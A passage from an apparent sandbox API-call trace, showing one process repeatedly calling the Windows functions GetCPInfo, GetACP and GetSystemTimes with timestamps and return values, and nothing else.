lpCPInfo=0x18fa7c) returned 1 [0049.417] GetACP () returned 0x4e4 [0049.417] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.417] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.417] GetACP () returned 0x4e4 [0049.417] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.418] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.418] GetACP () returned 0x4e4 [0049.418] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.418] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.418] GetACP () returned 0x4e4 [0049.418] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.418] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.418] GetACP () returned 0x4e4 [0049.418] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.418] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.418] GetACP () returned 0x4e4 [0049.418] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.418] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.418] GetACP () returned 0x4e4 [0049.418] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.418] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.418] GetACP () returned 0x4e4 [0049.418] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.418] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.418] GetACP () returned 0x4e4 [0049.418] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.418] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.418] GetACP () returned 0x4e4 [0049.418] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.418] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.418] GetACP () returned 0x4e4 [0049.418] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.419] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.419] GetACP () returned 0x4e4 [0049.419] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.419] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.419] GetACP () returned 0x4e4 [0049.419] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.419] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.419] GetACP () returned 0x4e4 [0049.419] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.419] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.419] GetACP () returned 0x4e4 [0049.419] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.419] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.419] GetACP () returned 0x4e4 [0049.419] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.419] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.419] GetACP () returned 0x4e4 [0049.419] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.419] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.419] GetACP () returned 0x4e4 [0049.419] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.419] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.419] GetACP () returned 0x4e4 [0049.419] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.419] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.419] GetACP () returned 0x4e4 [0049.419] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.420] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.420] GetACP () returned 0x4e4 [0049.420] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.420] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.420] GetACP () returned 0x4e4 [0049.420] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.420] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.420] GetACP () returned 0x4e4 [0049.420] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.420] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.420] GetACP () returned 0x4e4 [0049.420] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.420] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.420] GetACP () returned 0x4e4 [0049.420] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.420] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.420] GetACP () returned 0x4e4 [0049.420] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.420] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.420] GetACP () returned 0x4e4 [0049.420] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.420] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.420] GetACP () returned 0x4e4 [0049.420] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.420] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.421] GetACP () returned 0x4e4 [0049.421] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.421] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.421] GetACP () returned 0x4e4 [0049.421] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.421] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.421] GetACP () returned 0x4e4 [0049.421] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.421] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.421] GetACP () returned 0x4e4 [0049.421] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.421] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.421] GetACP () returned 0x4e4 [0049.421] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.421] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.421] GetACP () returned 0x4e4 [0049.421] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.421] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.421] GetACP () returned 0x4e4 [0049.421] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.421] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.421] GetACP () returned 0x4e4 [0049.421] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.421] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.421] GetACP () returned 0x4e4 [0049.421] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.422] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.422] GetACP () returned 0x4e4 [0049.422] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.422] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.422] GetACP () returned 0x4e4 [0049.422] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.422] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.422] GetACP () returned 0x4e4 [0049.422] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.422] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.422] GetACP () returned 0x4e4 [0049.422] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.422] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.422] GetACP () returned 0x4e4 [0049.422] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.422] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.422] GetACP () returned 0x4e4 [0049.422] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.422] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.422] GetACP () returned 0x4e4 [0049.422] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.422] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.422] GetACP () returned 0x4e4 [0049.422] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.422] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.422] GetACP () returned 0x4e4 [0049.422] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.423] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.423] GetACP () returned 0x4e4 [0049.423] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.423] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.423] GetACP () returned 0x4e4 [0049.423] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.423] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.423] GetACP () returned 0x4e4 [0049.423] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.423] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.423] GetACP () returned 0x4e4 [0049.423] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.423] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.423] GetACP () returned 0x4e4 [0049.423] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.423] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.423] GetACP () returned 0x4e4 [0049.423] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.423] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.423] GetACP () returned 0x4e4 [0049.423] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.423] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.423] GetACP () returned 0x4e4 [0049.423] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.423] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.423] GetACP () returned 0x4e4 [0049.424] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.424] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.424] GetACP () returned 0x4e4 [0049.424] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.424] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.424] GetACP () returned 0x4e4 [0049.424] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.424] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.424] GetACP () returned 0x4e4 [0049.424] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.424] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.424] GetACP () returned 0x4e4 [0049.424] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.424] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.424] GetACP () returned 0x4e4 [0049.424] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.424] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.424] GetACP () returned 0x4e4 [0049.424] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.424] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.424] GetACP () returned 0x4e4 [0049.424] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.424] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.424] GetACP () returned 0x4e4 [0049.424] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.425] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.425] GetACP () returned 0x4e4 [0049.425] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.425] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.425] GetACP () returned 0x4e4 [0049.425] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.425] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.425] GetACP () returned 0x4e4 [0049.425] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.425] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.425] GetACP () returned 0x4e4 [0049.425] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.425] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.425] GetACP () returned 0x4e4 [0049.425] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.425] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.425] GetACP () returned 0x4e4 [0049.425] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.426] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.426] GetACP () returned 0x4e4 [0049.426] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.426] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.426] GetACP () returned 0x4e4 [0049.426] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.426] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.426] GetACP () returned 0x4e4 [0049.426] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.426] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.426] GetACP () returned 0x4e4 [0049.426] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.429] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.429] GetACP () returned 0x4e4 [0049.429] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.429] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.429] GetACP () returned 0x4e4 [0049.429] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.429] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.429] GetACP () returned 0x4e4 [0049.429] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.429] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.429] 